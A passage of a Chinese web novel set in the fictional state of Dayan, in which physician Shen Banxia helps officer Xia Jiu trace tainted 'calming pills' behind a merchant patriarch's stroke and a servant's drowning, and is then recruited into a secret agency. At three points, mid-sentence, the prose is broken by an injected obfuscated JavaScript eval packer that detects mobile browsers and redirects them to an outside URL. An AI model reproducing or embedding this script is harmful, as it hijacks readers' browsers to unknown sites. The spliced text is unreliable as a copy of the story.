黑漆高墙耸立,门前当值衙卫目光锐利。云和县衙身负大晏南部重任,守一方平安。 “阿久!”柳翩生轻车熟路从侧门拐入县衙时,夏久正在院中与一人说话,“诶?高兄怎么在此?” 另一人正是那日堂上被告的高景明。 高景明眼下乌青,瘦削青百单衫,没有配饰,除了手脚上铁锈斑驳的镣铐。 “高兄这是…”窦老爷偏瘫在床,那日上交安神丸后,虽然无法断定偏瘫与此相关,但也难撇清关系,窦家施压,高景明便被下狱关押。 今正是二次提审高景明之日。 “我…我听说春韵坊的梅娘子没了…她与我有恩,我便求夏大人,允我见上故人一面。” “红颜知己是吧?”柳翩生上下打量,“好哇,想不到高兄也是风流骚客。” “别…不,不是。”高景明被柳翩生调侃的窘迫,手脚的锁链“哗啦哗啦”撞击在一起。 “高大哥不是的!”清脆稚嫩的女声传来,是躺在单架上的阿棉。 “阿棉怎么受伤了!”高景明方才看清单架上之人,焦急得想靠近看看,又怕自己这副模样吓到小姑娘。 “窦大当家窦天德就是曾经抢了我阿娘做小娘的老畜生。被窦老太爷发现后不过是打了顿板子,就把我和阿娘发卖到了春韵坊去。” 夏久持刀朝几人走来,见阿棉虽面色苍白但都能呛人了,对沈半夏抱拳以示敬佩。 “正如阿棉所说,梅娘子曾是窦天德养在外院的小娘。” “梅娘子是为何 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“你的安神丸,从何而来?” “是…是梅娘子给的。”高景明低头,提到故人,咬紧牙关低声颤抖。 “梅娘子?”众人一惊。 “自幼时起,合凌高氏曾也是高官权贵,曾祖父配享乾陵。可到我父亲这一辈没落成了乡野村夫…” “竟是合凌高氏!”柳翩生凑过来。 “不怕各位耻笑,”高景明仰头嗤笑,“我自幼在阿娘的悉心教导下饱读诗书,寒窗十年一心求取功名,侥幸过了乡试,正打算上京参加省试。” “高兄还是个举人!失敬失敬!” “不敢当。”高景明摇头,“可高家家底亏空,父亲终日酗酒沉迷烂赌,家中根本无钱供我上京赶考。” “有点惨…”老乞丐“噗嗤”一声没憋住,换来夏久严厉一瞪。 “哪能在此落井下石?”柳翩生悄咪咪凑到老乞丐身边,“这时该帮忙打个安抚。” “于是我便带着阿娘的家书,前来投奔窦老。” “景明无用,秋闱在即,忧思难寐。窦老便叮嘱当家的带我去别院散心。我就是在那时候与梅娘子相识。” “梅娘子见我夜不能寐气色虚浮,便赠予我安神丸。那药丸似有奇效,吃完了后果然通体舒畅,夜间竟真能安睡了。可惜这药寻常药铺无法购入,我便托梅娘子替我多加采买。” “因着窦老年事已高,腰腿顽疾缠身,我便…我便让他老人家也稍作尝试,开始几日效果显著,我还特意叮嘱其不可多服,谁知…竟酿下大祸,害了唯一愿意帮我的至亲。” “窦老一生行善积德,除了嗜酒如命,从未过不良嗜好,一心向善,每隔数月便进山吃斋祈福。”高景明掩面痛哭,“大人,草民,认罪。” 目送高景明画押伏罪再次被押回大牢,沈半夏倏地起身,方才她一直细细打量高景明,此人和之前找她求诊用药过度导致麻痹的患者不同,大抵服药量是不大的, “夏公子,可否带我去窦府看看偏瘫在床的窦老?” 7. 排骨 “半夏姑娘,小友阿棉......可怎生是好?” 老乞丐衔了截干巴的麦秆,闲散地斜歪在青石板上晒日头,昏昏欲睡。 为着给阿棉换药方便,沈半夏索性在破柴屋外支起了摊。 “……可问过阿棉自个儿?” 沈半夏正替一薄衫掩面的老夫人诊脉,指尖搭在腕间,搭脉不过是形式唬一唬眼前客,沈半夏趁着估摸心律的时候观察患者的体征,“夫人何处不适?” “实…实是替我家老爷来的。”老妇人神色踌躇,目光微闪,瞥了眼立在一旁的阿玉,低声道:“老爷他,他后不利,已数日未通。” 沈半夏会意,时值夏至未至,最易肠胃积热,心烦亏虚。再者大晏寻常百姓大多也无荤素搭配的习惯。她提笔写下,又取了几味润肠通腑的药材,细细包好。 老妇人接过药包。沈半夏仔细嘱咐:"切勿忘了饮食调养,多饮清水。" “不知如何开口啊。” 妇人走后,老乞丐伸了个懒腰踱步到沈半夏跟前,“方才那玩意儿,也给老夫来一包!” “罗老若是严重了,半夏尚有一剂外用妙方,保准儿药到病除。”沈半夏眼波流转,嘴角噙着一抹狡黠笑意。身侧正收拾药材的阿玉闻言手上一颤,霎时从双颊红到耳根,连颈间都染上些霞色。 “当真这般灵验?快给老夫试试?”老头儿瞧姐弟两反应好生有趣,拍着腿连声催促。 “好说好说!”沈半夏瞧着阿玉红透的耳尖笑意更深,心下畅快,“总不能一直叫阿棉跟罗老同住,到底是不便。” “我想带阿棉回去,就是不知道小姑娘能否愿意。”她起身帮着收拾药摊,望着寒酸的家当轻叹,“毕竟我也是个穷光蛋。” “阿棉愿意的!” 一道清亮的嗓音响起,面色尚显苍白的少女不知何时出现在柴房门口,单薄的身子摇晃,倔强地挺直了脊背。 沈半夏诧异回身,少女稚气未脱的脸颊微红,牵起沈半夏的手晃了晃。 沈半夏一愣,小小年纪本该娇嫩的掌心覆了一层薄茧,忽觉喉间发紧。 “阿棉会劈柴、会扫院、会自己寻吃食。”少女急急细数着,"阿姐别嫌......" 墙根处传来"哐当"一声,不过只引得老乞丐侧目。 阿玉阴沉着脸将药箱推至墙边,青布衣袖下的指节捏得发白。盯着沈半夏和阿棉交握的手下唇紧抿。 "好。"沈半夏反握住阿棉的小手,转身时发丝扫过阿玉紧绷的下颌,"今日阿棉便随我与阿玉归家。" * 柳家别院,东侧厨房。 阿玉低头择菜,抬眼一瞥院中扫尘的少女,语气恹恹:“你究竟有何目的?” “阿玉哥哥在说什么呀?” 少女手里的苕帚不停,利索地把地面零碎枯枝归成一堆。 “因为夏久是参军?你想继续查春韵坊…” 阿玉思忖片刻,沈半夏留下她除了心软,更担心的该是怕刑大继续为难她。 “阿棉是真的喜欢半夏阿姐。” 阿棉将落叶归拢在小院的一颗垂柳下,她仰起头凝望枝桠,微风拂面,仰起人畜无害的笑脸,“我阿娘说,阿爷是村里小有名望的医者。” 阿玉没有接话,蹲下将柴火挨个儿扔进灶台,不一会儿火苗窜起,灶里响起劈啪声。 “可是阿娘说阿爷不肯传授与她,她说小时候常常瞧见阿爷把药材剪成细碎,哪怕在家里都怕被偷学了去。” 阿棉走到厨房前,瞧着火候及时递上一把蒲扇, “因为祖训传男不传女。” “如果阿爷肯教阿娘,如果阿娘和半夏阿姐一样能行医救人…”她低头诶任由碎发遮住眼睛,肩头微动,“可能阿娘就不会死了吧。” 与此同时,沈半夏手里吊着包新鲜的肉,晃晃悠悠穿过云合西市,来往行人熙攘,茶肆酒香穿巷过,小贩的吆喝声起伏着串起一街烟火。 准确说来沈半夏是被阿棉和阿玉一道赶出来买肉的。 本寻思着阿棉正式加入的第一天,可不得好好庆祝,虽囊中羞涩,三人窝在别院几样热菜也能吃得尽兴。 东边厢房是阿玉的地盘,沈半夏原本打算改作厨房兼煎药房的,谁想药味着实霸道,几次熏坏阿玉的腌菜…家里厨子最大,不会做饭的沈半夏只好灰溜溜抱着药罐去了西厢房。 没成想,阿棉也是个厨房好手,小小年纪,打杂打惯了,沈半夏瞧着心疼,忙让她歇着,背着阿玉悄悄塞了两块糖糕,又自个儿钻进厨房,哪想到—— 她垂眸看了眼小臂上的白布,自己大概是和灶台八字犯冲,她自我安慰道:起码我善后能力还不错。 ——不好不好,自残之气寡淡无味。 瘟神子现身在她身侧,午后正是西式人头攒动的热闹时点,路人来来往往穿透着他的驱赶。 “……不劳上仙惦记。”近日找她看病的患者多了些,瘟神子吃饱喝足竟开始挑三拣四起来。 路过糕点铺,红豆糕的甜糯香气窜入鼻尖,沈半夏驻足。店里娘子见她,笑着迎了出来。 “半夏姑娘来啦。” 前些日子,沈半夏替店家娘子治好了腿上的烫伤。 ——何时你再接诊些热烫伤患?热毒病气火辣鲜美,得劲! “您且等着吧”沈半夏心里悄悄翻了个白眼。 “这包是阿玉公子的,那包糖少些,是姑娘自己喜欢的。”店家娘子笑盈盈递上两包糖糕。得亏沈半夏,那伤在大腿内侧,她一个娘子定不愿被医馆的老大夫瞧去,沈半夏药膏一抹,今儿个连红痕都快淡去了。 “多谢,我也替阿玉谢过姑娘。”沈半夏接过,心里想着最近新制的保湿乳膏确实管用,或可再试几人。她低头看了眼手臂,回头也让阿玉给她上些。 心满意足拎着肉和点心打道回府。突然觉得背后有一股莫名的视线… 她放慢脚步,余光扫过街旁酒缸,只见釉面反光晃动,可惜什么也看不清。 沈半夏眉头一皱,猛地回身,可身后空空荡荡。她将是吃食换到左手,右手探入怀中,指尖摸到一枚细针。 “喵——” 一声低唤,一只橘白肥猫从廊柱后懒洋洋地探出脑袋,尾巴竖得高高的,径直走到她脚边,亲昵地蹭了蹭她的鞋尖。 “原来是你。”沈半夏失笑,松了口气,蹲身伸手,轻轻挠了挠猫下巴。橘猫眯起眼,舒坦得不肯动弹。 * 日下西斜,暖光透过窗棂洒进厨房。 阿玉静静地伫立在灶台前,一眨不眨地盯着咕嘟冒泡的锅,锅中滚着熬了半个时辰软糯小米粥,金黄的南瓜块浮沉点缀。 他不疾不徐偶尔拨弄了几下,火候一到,便取来些桂花与核桃碎,撒在粥面儿,香甜跟着热气逸出,氤氲不散。 “阿姐回来了。”听见沈半夏跨进厨房,他面上淡了冷意,多了几分烟火气。 “糖醋小排?” 沈半夏晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464348|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的排骨,眉眼弯弯。她不嗜甜,可阿玉的糖醋排骨哪怕腻得发慌都好吃得紧。 阿玉点头同意。 见得到了大厨的首肯,沈半夏便去洗净了肉,置于案上,手起刀落,几声脆响,将排骨剁成适口大小。 不擅家事的沈大医生,唯独这刀功能得阿玉首肯。 沈半夏将切好的排骨收入碗中,绕过案前,走到他身后,微微前倾,双臂越过他的腰侧,将碗搁在一旁。 “阿姐没同你商量,便自作主张留了阿棉。”她语声低缓,似是无意,“阿玉会不开心吗?” 阿玉一怔,手中的勺柄顿了顿,随即定神,继续将煮好的粥盛出来,盖上一块保温的圆木板。不紧不慢做完一些列动作,才略微侧身。 厨房空间逼仄,并排站下二人已是局促,少年转身时擦过沈半夏的肩膀,沈半夏却不闪不避,嘴角笑意加深了些。 “怎么会,阿姐多虑了。” 少年压低了嗓音,索性正了正身子低头与她四目相对。手从她腰侧探去,带着未散的热意,二人离得近,说话间气息能直接抚上沈半夏的侧颊,取了她身后桌上的红豆糕。 “全凭阿姐做主。” “那,阿姐还想去窦府附近转转。”沈半夏张嘴咬过阿玉递至嘴边的糕点,软烂绵密红豆和米糕在唇齿间回转,她猫儿似的眯了眯眼。 “夏大哥那还没有消息吗?”阿玉示意她站得远些,将排骨放进热锅里过水。 “还没呢,早上柳翩生带话说得等夏公子安排。”想到今早柳翩生皱巴着脸的样子,她轻笑出声,“他两倒是要好的很,一个没头脑一个不高兴,甚是可爱。” “阿姐想查安神丸吧?”沈半夏随性惯了,正值芳华的未出阁女子怎可随意夸外家男子可爱,还是两个。阿玉蹙眉顶了顶上颚。 “是啊,先前的病人都不太严重,而且我也研磨了药丸的成分,不应该会导致中风。”沈半夏盯着锅里起起伏伏的肉块出神。 “不知道药剂累计后对年事已高的人有什么直接影响。” * 翌日,阿玉当真陪着沈半夏到窦府的附近晃悠。沈半夏让阿玉拎着药箱板脸装神秘高人,她在一旁吹嘘这是南山药师寺主持的关门弟子,听闻窦老行善行千里,家师特地派他二人前来施救。 理所当然的,被赶了出来。 刚走没多久,就见一老妇人失魂落魄地走在墙下,步履蹒跚,一个踉跄差点儿跌倒。 ——是咸酸的疯癫之气,你上去瞧瞧。 就算没有瘟神子的提醒,沈半夏也正打算上前搀扶,一对中年夫妻先一步接住了她。定睛一瞧,原是西街尽头卖肉屠户夫妇。 屠夫娘子先瞧见了沈半夏,她犹豫半晌,干脆上前一步,“半夏姑娘……妾身有一事相求。” “这位是住在城东的姑母。”屠夫娘子让提醒壮硕的丈夫将老妇人背起。 “平日里偶尔走动,不想前些日子姑母的大儿子失足跌入河里,淹死了…”她重重叹了口气,“我那远房大哥之前一直在窦家当差,不知犯了什么事被赶了出来,没多久就…我和他虽没什么交情,但很是心疼姑母。” “眼瞧着姑母日渐憔悴夜不能寐,这两日竟开始咳血。”她悲痛得摇了摇头,“可否请半夏姑娘随我二人一同将姑母送回去,施诊看病。” “自然可以。” 沈半夏点头,左右今日也看不了偏瘫在床的窦老太爷,溺水身亡的远方大哥,万一能有些突破? 8. 窦府 城东王家。 王家老二开了一家茶馆,因靠着东边码头,熟客多做水路营生。 屠户正准备把王老妇人径直送回里间,谁知两只脚还没跨进院子,背上的人就开始剧烈地挣扎。 他常年杀猪砍骨一身粗壮腱子肉,怕伤了纸片似的老妇人,也不敢多加阻拦。 老妇人挣脱桎梏,踉跄着穿过内院,扑通一声跪在了水井旁的石子地上。 “姑母!”屠户娘子惊呼,赶忙提着裙摆快步上前搀扶。 “姑母这几日不是去窦家就是在水井旁守着。”她朝沈半夏和阿玉努了努嘴,“自打王家大哥落水没了,姑母便魔怔了,说落水鬼超生得要人替,前几日竟还想投井……” 沈半夏上前搭了把手,将老妇人搀扶着坐在院里的石凳上。 眼前之人神志已经有些痴傻了,时而双唇紧闭,浑浊双眼空洞无神,时而战战兢兢地四下张望,嘴里絮絮叨叨。 沈半夏摇了摇头,指尖搭上她枯瘦的手腕,脉象虚浮紊乱,显然还困在严重打击后的应激反应里。短短数日的疯傻不能作为癔症的诊断依据。 丧子之痛,人之常情罢了。 “只能用些安神的方子,最要紧的是盯着她,莫让她再寻短见。” 沈半夏叫阿玉取了些安神药物。 屠户娘子却一拍大腿,“上几月我头疾发得频繁,姑母还给过我一些王彦大哥带回家的。” 她随即进屋一顿翻找,不稍一会儿便取了个药瓶出来。 沈半夏接过,拔开塞子一瞧——熟悉的药香扑鼻而来,又是那安神丸。 这药和窦家人的关系未免太紧密了些,沈半夏心下诽谤。 “王家大哥经常服用这药?” “可不是?”屠户娘子叹气,“那窦家虽高门大户,但差事当真不轻松,磨人得紧呢。” 长期服用安神丸的王家大哥溺毙的日子,和窦老服用安神丸偏瘫的日子也未免过于巧合了… 她指尖摩细细挲着瓶身,忽然起身道别:“那我二人先告辞,如果再有不适随时寻我。” 临出门时,她又回头补了一句:“别给老夫人用那药。” 出门后,沈半夏立马就往县衙的方向赶去。 夏久怕是早就接手了王家大哥溺亡的案子,她若是带上安神丸的消息,也许是个上窦家一探究竟的契机。 “半夏姑娘的意思是,王彦也用了安神丸?”听闻二人方才去了王家,夏久面露惊讶,“王彦死因是溺亡,不过这几日我查到些消息,王彦在窦家主要跟水路贸易差事,当差了十来年,前些日子突然被窦天德赶走。” 夏久取出一份证词递给二人,“有人见到王彦涉被窦家赶出来后,还被窦家下人堵在暗巷一顿殴打。” “我正要上窦府查案,二位若方便可以一同跟来,不过,”夏久一顿,盯着沈半夏沉默片刻,“不过半夏姑娘不太好以医者身份…” “无妨,早前我想随阿玉进窦府,我骗那小厮说过阿玉是药师寺住持的弟子。”沈半夏颔首微笑,“就等夏参军做保了。” * 盐商窦府果真气派。朱门高墙内,院落几进几出,亭台楼阁错落有致,回廊迂回曲折。 只不过,丫鬟小厮们个个面色紧绷,来往穿行步履匆匆。 前厅里,接待几人的是窦家大娘子。 “怠慢了,夏参军。妾身先替老爷赔个不是。” 窦大娘子执着团扇走进前厅,端着一身的雍容华贵。 “老太爷这一病,窦家上下没了主心骨乱得紧,老爷都来不及悲痛,整日整日扑在铺子上。” “听说高景明那忘恩负义的玩意儿已认罪画押,”她头上的珠钗跟着头晃动着,愤愤道,“还请官爷早日治了那高景明的罪。” 下人端着沏好的热茶进屋,在窦大娘子的示意下置于几上。 “今日登门为了两事。”夏久板着脸,正色道:“其一,夫人可认得王彦?” “王大啊,怎会不认得,那人在窦家十多年了。”窦大娘子诧异,没想到今日之事和王彦有何牵扯,“不过前些日子老爷把他赶了出去。” “夫人可知其中缘由?” “我一个后院妇人,哪晓得前院的门道。” 她连连摆手撇开关系。 “那夫人可知,王大前脚刚被赶出窦府,后脚就在河边溺亡?”夏久陡然提高音量,鹰隼般锐利的目光扫射着眼前人。 “王大没了?” 窦大娘子惊呼,然立马恢复了从容。 “夏参军若有实证,大可拿人问话。否则,恕妾身不便多嘴。” 当真滴水不漏。 夏久不语,窦天德避而不见,从窦大娘子嘴里是套不出太多有用信息。好在此行目的都不在窦家夫妇身上。 夏久眯了眯眼,话锋一转:“那么其二。” “窦老卧床多日不见起色,县令挂念忧虑,特意请南山药师寺主持的关门弟子前来云合探望,还请夫人行个方便。” 窦大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464349|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子方才就瞧见了这位青衣白袍的年轻公子,生得俊俏标志,就是不苟言笑了些。没成想还是个医者。 “承蒙县令大人挂念,老太爷这一病多日,请了不知道多少名医皆没有起色,这小郎君瞧着实在……”她面色犹豫,为难地看了阿玉一眼。 “还请夫人给县令大人和主持一个面子。”夏久起身拱手。 “诸位请随我来。” 窦大娘子带着几人穿过庭院,来到窦府的深处——窦老太爷的居所。 和窦府张扬奢华的庭院不同,窦老太爷屋里的陈设低调许多,沉稳的黑色檀木为主。 走进里屋,窦老太爷正仰面躺在床上,眼睑半合,口眼歪斜。见有人来也没有反应,已然是神志不清。 沈半夏跟在阿玉身后,细细端详后略微沮丧,窦老爷子这已经是未得到及时救治后的模样,就算过些日子恢复了,也难避免半身不遂,言语不利的后遗症。 “哎哟。” 窦大娘子突然低声叫唤,她面上血色渐无,额间瞬间罩上一层薄汗,“妾身失陪…” 阿玉瞥了眼沈半夏,见她正低头浅笑,心下了然。 窦大娘子一走,沈半夏立刻上前查看老太爷的体征。撩起被褥,略微抬起老人的躯干,卧床多日果然背后已经有了褥疮,且小腿严重浮肿,按压回弹极差。 往脚下一看,老太爷的双脚皮肤已然青紫肿胀,部分皮肤溃烂化脓。 ——又一个被麻痹之物压住可口病气的。可惜,亏本座期待这么久,这老头病根深重,你驱不了本座也无口福咯。 “发现的晚了没有猝死已然万幸。” 沈半夏看了眼一脸惋惜的瘟神子,也暗自摇头心下叹息。 她示意阿玉将老太爷放回原处,和料想的差不多,窦老太爷就是卒中。 只不过,照高景明所说提供给窦老太爷的安神丸剂量不大,加之老太爷常年饮酒,本该较常人而言,对麻药抗性只高不低…… “怠慢贵客了。”窦大娘子被丫鬟搀扶着进来,略显局促,“怕是今儿早贪凉坏了肚子,见笑了。” “怕不是夫人贪凉吧。” 夏久攥着刀柄的指节发白,仔细一听,他的声音也有些颤抖,脸色更是和方才虚汗直冒的窦大娘子娘子如出一辙。 “来人,拿下方才上茶的下人和窦府今日当值的厨子。” 他咬牙切齿地瞪了状似无辜的沈半夏一眼, “涉嫌谋害窦大娘子和官差,带回县衙问审!” 9. 入司 回县衙的马车上,唇色惨白的夏大参军一柄长剑抱在胸前,面色不虞。 “半夏姑娘,能否先知会一声?” “不是大人说要拿窦家厨房下人的吗。” 沈半夏轻笑,指尖捻着一粒药丸,“窦府非寻常商贾之家,若非‘官差中毒’,夏大人如何光明正大地拿人?” “或许在下可以,演、一出、戏。” “阿玉明明也提醒了大人。”沈半夏无辜眨了眨眼,指向身侧的少年人。 “何时?” “我往茶水里下药后,阿玉刻意挡在你我二人之间呀。” 夏久无语咬牙,你这个阿弟何时不喜挡在你我二人之间? “起码这戏演得真切。”语毕,她抬手一抛,药丸稳稳落在对面之人的手心。 “寻常巴豆罢了,不吃解药也无碍。” 夏久此行,除了领沈半夏看窦老太爷,还为寻个由头带走负责膳食的窦府下人。一来据茶馆老板目击,那日殴打王彦的人里有窦府厨子;二来窦老太爷既无中毒迹象——沈半夏想了解窦老太爷的寻常吃食。 * 县衙公堂,三五窦家下人被捆着手跪于在堂前。 个个惊慌失措,惶恐不安地垂着头,连连否认夏久厉声斥责的“投毒谋害主任和官差”欲加之罪。 “大胆刁民!平日就气焰嚣张,随意欺侮百姓之时可曾想起怕了?”夏久怒目呵斥道。 “带证人!” 上堂作证之人,是目击王彦被殴打的茶馆老板。 “小民不敢妄言,亲眼所见这人…”他眼珠子一骨碌,定格在一粗腰圆膀的男人身上,“这人就在!” “啪!”夏久重重拍案而起,命人将男人拎起上前一步。 “从实招来,王彦之死与尔等何关!” “王…王大死了?”那人神色一滞,顿时长大了嘴半天吐不出一个字来。双臂垂在在身侧抖如筛糠。半晌,他抬手颤抖着捂住脸,“大人…草民真的不知…” 此人是窦府的厨子,李五。 “都…都怪那王大贪财!”他垂头,直愣愣盯着跟前的地缝,突然瞳孔皱缩,头摇地似拨浪鼓。 “求大人救救草民。” “此话怎讲?” “都是当家的主意啊!”他双手举过头顶,以头抢地。 “此事又与窦天德何干?” 李五招供,窦老太爷服用的安神丸,不止高景明献上的,窦天德竟也暗自让厨子给父亲的日常膳食里加了安神丸。 窦老太爷已年尽古稀,顽疾缠身。春夏之交腰腿疼痛昼夜频发,加之其气虚阳衰,体内脏器膏脂堆积,免不了性情大变,乖戾暴躁,特别是对家中亲近之人。 “当家的被老太爷日日责骂,见那高景明的安神丸真能安抚老太爷,立刻吩咐下来暗暗寻药。”李五边说边抖。 “王大是当家的十年心腹,自告奋勇寻到药来,按照当家的嘱咐每日偷偷跑来厨房,撒入给老太爷的膳食。” “当家的也是好心,谁曾想老太爷真的出事了……” “所以窦天德就将王彦赶出窦府?”夏久一顿,“为何不处置你?” “草民和王大自小相识,才知道安神丸的事。”李五痛哭,“只怪他贪心想要敲诈当家的,恐才……” 沈半夏在旁暗自思索,其实这药丸本该无毒,不仅无毒反而能缓解伤痛,让病人舒坦。 可窦老太爷这般年岁的老人,本来病痛种类就繁复,就算对于经验丰富的神医而言,也混乱无章难分因果。 只治果不寻因,下医大忌。 * 暂告一段落,夏久邀沈半夏二人喝茶答谢。 “半夏尚有一事不明。” 沈半夏薄唇轻抿了一口杯中茶,几根茶梗于水面浮沉,她不经意轻吹口气。 “一个厨子怎还兼护院的活儿?” “……” “新鲜菜肉铺子多开在西市,作为厨子日日采买食材。”她顿了顿,“恰好故意被认识自己的茶馆老板目击。” “恰好被你一吓就供认不讳。” “不止于此。”沈半夏抬眸直勾勾盯着夏久,“夏大人,这出戏唱得好啊。” “呵。”半晌,夏久轻笑。 “大人不觉得,允我一个普通百姓看的戏,太多了吗?” “啪”、“啪”、“啪” 声音明朗的小老头一边鼓掌,一边爽朗笑着推门而入。 沈半夏双眼微眯起,略有些震惊:“原来是罗老。” “哈哈哈,没想到夏久这小子先一步被识破了。” 来人抬手捋了把胡须,揶揄看向一旁的夏久。 “大人莫要再取笑属下。”夏久干脆拱手讨饶。 老乞丐瞧了眼儿沈半夏,她早敛去方才的错愕,倒是她身侧的少年郎绷紧了身子,神色稍暗。 他不紧不慢地落座,捡了只晶莹透亮的白玉膏吃。沈半夏也不恼,一副静候模样。 老乞丐,或者说这位罗大人,竟然是直隶属今上的特务机构霄衡司的五处长官。大晏的霄衡司独立三省六部外,不受大理寺御史台和刑部威压。探事为耳外之耳,捕人为法外之法。 “那罗大人这是?” 沈半夏挑眉,心下约莫有些猜测。听闻霄衡司选人不走寻常官吏制度,既有官中要职者兼任,亦有民间奇人不良人入局。 “邀请半夏姑娘,加入霄衡司的五处。”罗老颔首,笑盈盈地摸出一块腰牌。 和那日鬼市里,沈半夏替夏久扣下藏匿起来的腰牌别无二致。 “半夏姑娘聪慧机敏,临事不乱,处危不惊。”瞧依旧沈半夏沉默不语,罗老接着道:“医术更是惊为天人,妙手回春一腔仁心悬壶志……” “可大人们办得皆是凶险万分的大事。”月余光景,沈半夏早知眼前之人泥鳅似的圆滑,立刻打断,“半夏一介柔弱女子……” 夏久眼皮抽搐,被自称弱女子的沈半夏下了不知多少次的毒。 “霄衡司自会保姑娘周全。”罗老笑到,“夏久!” “属下明白。” “半夏姑娘可否记得刚到云合之日向在下打听的鬼市一事。” “可有进展?” “霄衡司也在查此事。”夏久点头,“大晏四处皆有鬼市一说,多是民间换取禁物的渠道。然几年来,多地鬼市消失或伴有下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464350|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民失踪……” “如若半夏姑娘愿意,自然可以加入一同探查。”罗老打断夏久,眯着眼细细打量沈半夏的神色。 沈半夏心下一凉,栖云岭鬼市的案子和云溪村灭村大火不可能全然无关。 “况且半夏姑娘和阿玉公子是从云溪来的吧。”罗老瞧她脸色一白,果然如此,“云溪屠村大火背后定有人操控,二人若暴露了身份,只怕自身安危……” “……”沈半夏了然。不过她完全不排斥加入什么密探组织,况且背后的瘟神子早已跃跃欲试,与他而言霄衡司和醉仙楼一样,佳肴丰盛如山似海。 “有报酬吗?”沈半夏神色微妙地瞧了眼衣衫褴褛的罗老,有些为难,“我家阿玉身子弱,恐怕不能缺了……” “自能管二位温饱。”夏久默默抖了抖官服和腰间的玉佩。 “大人乞儿打扮不过是……” 他汗颜扶额,憋了半晌。 “个人趣味。” * 沈半夏糊里糊涂算是加入了霄衡司,许是没有明面上的职位,无需和夏久一样终日待在县衙。 沈半夏继续摆她的江湖郎中路边摊。罗老依旧扮着乞儿偷鸡摸狗……咳咳,深入民间搜集情报。偶尔带人来她的摊子上瞧一瞧。 她暗道不妙,难道解决温饱指的上司给拉客? 唯一的区别是,沈半夏翻了翻手里的泛黄的古典医籍,无人上诊之时,心满意足看得入迷。夏久替她寻了不少医典,有的是民间流通的经典佳本,更有私密不可公布天下的医案药理的记载。 一旁,阿玉见沈半夏看医书看得欢喜,心下妥帖不少。他望着沈半夏的侧脸微微出神。 其实阿姐眉眼生得明艳动人甚至有些许娇媚,然而她一双清冷的眸子,特别是在行医定论之时犀利笃定,容不得人轻易置喙。 想到她加入的霄衡司,阿玉心下有些焦躁。 霄衡司绝非善茬,被称为今上的爪牙恶犬,早先听闻一处和三处主要驻扎上京,主要护今上安危,伺察军政,镇压谤议朝纲者;而这罗老的五处,多半主司民间异事。 “五脏之积……” 瘟神子突然现身,他手里把玩着翠绿的烟斗,白发全垂在肩背上,他凑到沈半夏跟前,对医书无甚兴趣,只盼她多找些奇病怪症,“这个恶疮和肿疡看得本座饿了!” 沈半夏无语,手里翻着记载瘤疾相关的古方和病案。前世就算外科切除再或靶向药攻克都可能收效甚微,她翻了翻手里的孤本,不过古人这以毒攻毒的思路着实不错。 “半夏姑娘。” 一片阴影投在书页上,沈半夏抬头,来人是多日未见的夏久。 “这是有活了?”她抬头,顿时精神一震。 “近日在下和罗大人皆暗中查安神丸的出处。” 夏久点了点头,他腰间刀柄上的鎏金纹路在日光的反射下晃得沈半夏眯眼。 “后日可能得拜托姑娘随我走一趟,混入其中暗下探查。” “可。”沈半夏点头,“可否先告知是何处?我还可准备一二。” 夏久板着脸,耳后染上了些难以觉察的红晕。 “是,春韵坊。” 10. 春韵坊 天色渐晚,蝉鸣聒噪,凉风袅袅卷走日头的闷热,前些日子阿棉不知从哪搬来几盆茉莉,花朵初绽,在微风里轻摇。 沈半夏薅了几朵扔进白瓷茶壶里,说是要试试能不能照书中所写的解夏季胸中的陈腐浑浊之气。 ——就算能解,也只是没滋没味的玩意儿。 瘟神子瘪了瘪嘴,院里石桌上摆一碟酱烧茄子,一碗绿豆排骨汤,还有一碟被吃的只剩半块的桂花奶糕。他钦佩地朝阿玉的方向投去赞许,只可惜他尝不了人世间的滋味。 “阿玉尝尝,泄泻火气。”沈半夏起身拿过他跟前杯盏,笑眯眯得抵至他唇下。 阿玉眼睑低垂迟迟不肯接过,少见得没有抬眼搭理沈半夏。 阿棉圆溜溜的小鹿眼转乎一圈,左看看沈半夏殷勤地往阿玉跟前的碗碟里堆小山,右瞧瞧阿玉紧抿薄唇,埋头将碗里白饭快速地往嘴里送。 “阿玉哥哥这是怎么了?” 阿棉决定还是别触他的眉头,只好歪头转向沈半夏。 “夏久说得了些安魂丸的贩售消息。”沈半夏一顿,“在春韵坊。” “春韵坊!”阿棉一惊来了兴趣,白嫩的小脸激动得红扑扑的,“半夏阿姐要随夏大哥去探查吗!” “啪”,阿玉重重搁下筷子,抬起头来,一双总是乖顺的桃花眼半眯,很是不满。 “春韵坊是烟花之地,阿姐一女子怎可…” 